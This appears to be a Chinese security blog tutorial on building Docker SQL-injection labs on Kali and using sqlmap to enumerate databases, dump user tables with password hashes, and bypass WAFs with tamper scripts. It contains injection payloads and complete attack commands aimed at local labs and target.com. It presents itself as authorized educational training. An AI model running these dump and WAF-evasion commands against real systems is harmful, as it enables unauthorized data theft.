Kali 2026+Docker靶场+SQL注入+sqlmap实战:从环境搭建到数据拖库的完整链路
原创
KLSEC
KLSEC
昆仑AI安全实验室
2026年10月13日 00:00
广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
刚装好Kali,想学SQL注入,但不知道从哪下手。网上教程要么只讲原理不讲实操,要么只讲工具不讲环境搭建。
这篇文章把“Kali装Docker → 搭靶场 → 理解SQL注入 → 用sqlmap实战”这条完整链路拆开。每一步都有具体命令,跟着走就能跑通。
一、Kali 2026安装Docker:别装错包
Kali的软件源里有一个叫docker的包,但它不是Docker容器引擎。正确的包名是docker.io。
sudo apt updatesudo apt install -y docker.iosudo systemctl enable docker --now
验证安装:
docker --version
如果输出类似Docker version 27.x.x,说明安装成功。
配置非root用户权限。
默认情况下,Docker需要sudo才能运行。把当前用户加入docker组:
sudo usermod -aG docker $USER
然后注销重新登录,使组权限生效。之后就可以直接运行docker命令,不需要每次都加sudo。
如果你需要安装Docker官方的最新版本(docker-ce),需要添加Docker的Debian仓库。Kali基于Debian,当前稳定版代号是trixie:
echo \"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian trixie stable\" | sudo tee /etc/apt/sources.list.d/docker.list
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo apt update && sudo apt install -y docker-ce docker-ce-cli containerd.io
安装完成后,同样执行sudo usermod -aG docker $USER并重新登录。
二、用Docker搭建SQL注入靶场:三种方案
Docker最大的优势是靶场“用完即删”,不会污染宿主机。以下三种方案按推荐度排序。
方案一:sqli-lab(Hello-CTF labs,推荐)
这是ProbiusOfficial维护的阶梯式SQL注入靶场,容器内同时运行MariaDB、Flask和Nginx,对外只暴露一个端口。
git clone https://github.com/ProbiusOfficial/sqli-lab.gitcd sqli-labdocker compose up --build
浏览器访问http://127.0.0.1:8080。靶场自带“上帝模式”,会额外展示SQL预览、执行语句、耗时和错误信息,对新手理解注入原理帮助很大。
方案二:SmartMES-Range(综合靶场)
如果你不仅想练SQL注入,还想练文件上传、命令注入、反序列化,这个靶场预埋了9个漏洞,支持4阶段完整攻击链复现。
git clone https://github.com/timidadada/SmartMES-Range.gitcd SmartMES-Rangedocker-compose up -ddocker-compose ps
默认账户:admin/password,zhangsan/zhang123。SQL注入点在login.php,Payload是admin' OR '1'='1' --。
方案三:VulnArena(Java Web靶场)
如果你想练Java环境下的SQL注入,这个靶场用Maven多阶段构建,覆盖SQLi、XSS、文件上传、越权、SSRF、命令注入。
git clone https://github.com/1t01x1w4/VulnArena.gitcd VulnArenadocker compose up -d --build
首次构建需要拉取镜像和依赖,大约3-8分钟。
靶场管理常用命令:
docker ps # 查看运行中的容器docker compose stop # 停止靶场docker compose down # 停止并删除容器docker compose up -d # 后台启动
三、SQL注入漏洞详解:从URL参数到数据库
SQL注入的核心根源只有一句话:Web后端把用户可控的输入直接拼接进SQL语句执行,没有做过滤、转义或参数化处理。
以sqli-lab的Less-1为例,正常访问URL:
http://127.0.0.1:8080/Less-1/?id=1
后端PHP的执行逻辑(简化伪代码)是:
$id = $_GET['id'];$sql = \"SELECT * FROM users WHERE id = '$id' LIMIT 0,1\";$result = mysql_query($sql);
当id=1时,SQL语句是:
SELECT * FROM users WHERE id = '1' LIMIT 0,1
当id=1'时,SQL语句变成:
SELECT * FROM users WHERE id = '1'' LIMIT 0,1
单引号破坏了原有语义,导致SQL语法错误,报错信息会回显到页面上。这就是错误型注入的起点。
进一步,构造id=1' OR '1'='1:
SELECT * FROM users WHERE id = '1' OR '1'='1' LIMIT 0,1
'1'='1'恒为真,OR连接后整个WHERE条件为真,返回了表中所有用户数据。
如果目标是获取数据库名,用UNION SELECT:
?id=-1' UNION SELECT 1,database(),3 --+
--+是注释符,把后面的单引号和LIMIT注释掉。database()函数返回当前数据库名。
2026年SQL注入仍然是OWASP Top 10的常客。 2026年9月披露的CVE-2026-67370就是SQL Server中“特殊元素未正确中和”导致的SQL注入,允许已认证攻击者通过网络提升权限。同年5月的GHSA-XWQR-RCQG-22MR则是Flight框架中SimplePdo类直接拼接$table参数到SQL语句,没有做标识符引用和校验。
四、sqlmap实战:从检测到拖库
sqlmap是Kali预装的自动化SQL注入工具。以下是完整的使用流程。
第一步:基础检测。
sqlmap -u \"http://127.0.0.1:8080/Less-1/?id=1\" --batch
--batch表示所有交互提示自动选择默认选项。sqlmap会自动测试多种注入技术(布尔盲注、时间盲注、错误型、UNION、堆叠查询),并输出是否存在注入点。
第二步:获取数据库信息。
确认注入点后,枚举所有数据库:
sqlmap -u \"http://127.0.0.1:8080/Less-1/?id=1\" --dbs
输出中会列出目标数据库的所有库名。假设发现了一个叫security的库,枚举其中的表:
sqlmap -u \"http://127.0.0.1:8080/Less-1/?id=1\" -D security --tables
假设发现users表,查看表结构:
sqlmap -u \"http://127.0.0.1:8080/Less-1/?id=1\" -D security -T users --columns
第三步:拖取数据。
sqlmap -u \"http://127.0.0.1:8080/Less-1/?id=1\" -D security -T users --dump
sqlmap会导出users表中的所有数据,包括用户名和密码哈希。对于密码哈希,sqlmap内置了常见哈希的识别和破解功能。
第四步:POST注入和Cookie注入。
如果注入点在POST请求体中:
sqlmap -u \"http://target.com/login\" --data=\"username=admin&password=123456\" --batch
--data指定POST请求体。sqlmap会自动测试每个参数。
如果注入点在Cookie中:
sqlmap -u \"http://target.com/dashboard\" --cookie=\"sessionid=abc123; userid=1*\" --batch
在Cookie值后加*,告诉sqlmap“这个参数需要测试”。
第五步:从Burp请求文件加载。
实战中最常用的方式:在Burp中把整个请求保存为文件,然后交给sqlmap:
sqlmap -r request.txt --batch
-r从文件加载完整的HTTP请求,包括自定义Header、Cookie和POST数据。这是最高效的实战方式。
第六步:WAF绕过(Tamper脚本)。
如果目标部署了WAF,sqlmap的请求被拦截,需要使用Tamper脚本对Payload进行变形:
sqlmap -u \"http://target.com/?id=1\" --tamper=space2comment,randomcase --batch
space2comment把空格替换为/**/注释,randomcase随机改变关键字大小写。sqlmap自带几十个Tamper脚本,存放在/usr/share/sqlmap/tamper/目录下。
2026年社区维护的sqlmap-tamper-collection新增了针对Cloudflare、AWS WAF v2和Azure WAF的专用脚本,比如cloudflare2025.py会做多层变换:关键字用MySQL版本注释包裹(/*!50000SELECT*/)、空格替换为/**/、值做URL编码、大小写交替。
多脚本组合使用:
sqlmap -u \"http://target.com/?id=1\" --tamper=\"randomcase,space2comment,equaltolike\" --batch
第七步:常用性能优化参数。
sqlmap -r request.txt --batch --threads=10 --level=3 --risk=2 --dbms=mysql
--threads并发线程数,--level测试级别(1-5,越高测试越全面但越慢),--risk风险级别(1-3),--dbms指定数据库类型,跳过自动识别。
五、实战案例:从登录框到拖库
假设你在SmartMES靶场上测试。登录页面在http://target.com/login.php,SQL注入点在username参数。
用Burp抓取登录请求,保存为login.txt:
POST /login.php HTTP/1.1Host: target.comContent-Type: application/x-www-form-urlencoded
username=admin&password=123
用sqlmap加载:
sqlmap -r login.txt -p username --batch
-p username指定只测试username参数。sqlmap检测到注入后,输出类似:
[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
确认后,枚举数据库:
sqlmap -r login.txt -p username --dbs --batch
发现smartmes数据库。枚举表:
sqlmap -r login.txt -p username -D smartmes --tables --batch
发现users表,导出数据:
sqlmap -r login.txt -p username -D smartmes -T users --dump --batch
输出中会包含所有用户的用户名、密码哈希和角色。如果密码哈希是MD5或SHA1,sqlmap会自动尝试破解。
六、新手常踩的坑
坑一:Docker装成了docker而不是docker.io。 Kali源里的docker是另一个软件包。正确的包名是docker.io,或者用Docker官方仓库的docker-ce。
坑二:sudo usermod -aG docker $USER后没重新登录。 组权限变更需要重新登录才生效,否则运行docker仍然报权限错误。
坑三:靶场访问不了。 检查容器是否正常运行:docker ps。如果容器状态是Exited,用docker logs 容器ID查看日志。
坑四:sqlmap跑得很慢。 减少--level和--risk,或指定--technique只测特定注入类型:
sqlmap -r login.txt --technique=BEU --batch
B布尔盲注,E错误型,UUNION查询。这三种在实战中效率最高。
坑五:sqlmap被WAF拦截。 先用--delay=2降低请求频率,再尝试Tamper脚本组合。如果仍然被拦截,用Burp手动测试,确认注入点是否真实存在,再针对性的选择Tamper。
坑六:导出数据量太大。 加--limit限制导出行数:
sqlmap -r login.txt -D smartmes -T users --dump --limit 10
写在最后
SQL注入是一个“越老越吃香”的漏洞类型。工具在进化,WAF在升级,但注入的根本原因——代码把用户输入当代码执行——从未改变。2026年的CVE-2026-67370和GHSA-XWQR-RCQG-22MR都在提醒我们,SQL注入仍然是需要认真对待的攻击面。
从Kali装Docker,到搭靶场,到理解注入原理,再到用sqlmap拖库,这条链路走通一次,你就有了自己独立验证SQL注入漏洞的能力。剩下的,就是在授权目标上反复练习,把每一条命令变成肌肉记忆。
严正声明
本文所述所有工具、命令和操作仅用于已获得明确书面授权的安全测试、研究和教育场景。靶场环境应部署在隔离网络中,禁止将靶场暴露在公网。sqlmap的使用必须严格限制在SRC平台或客户授权的资产范围内。未授权扫描、测试、攻击行为违反《中华人民共和国网络安全法》第27条及《刑法》第285条,将承担法律责任。技术无罪,边界是法律。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论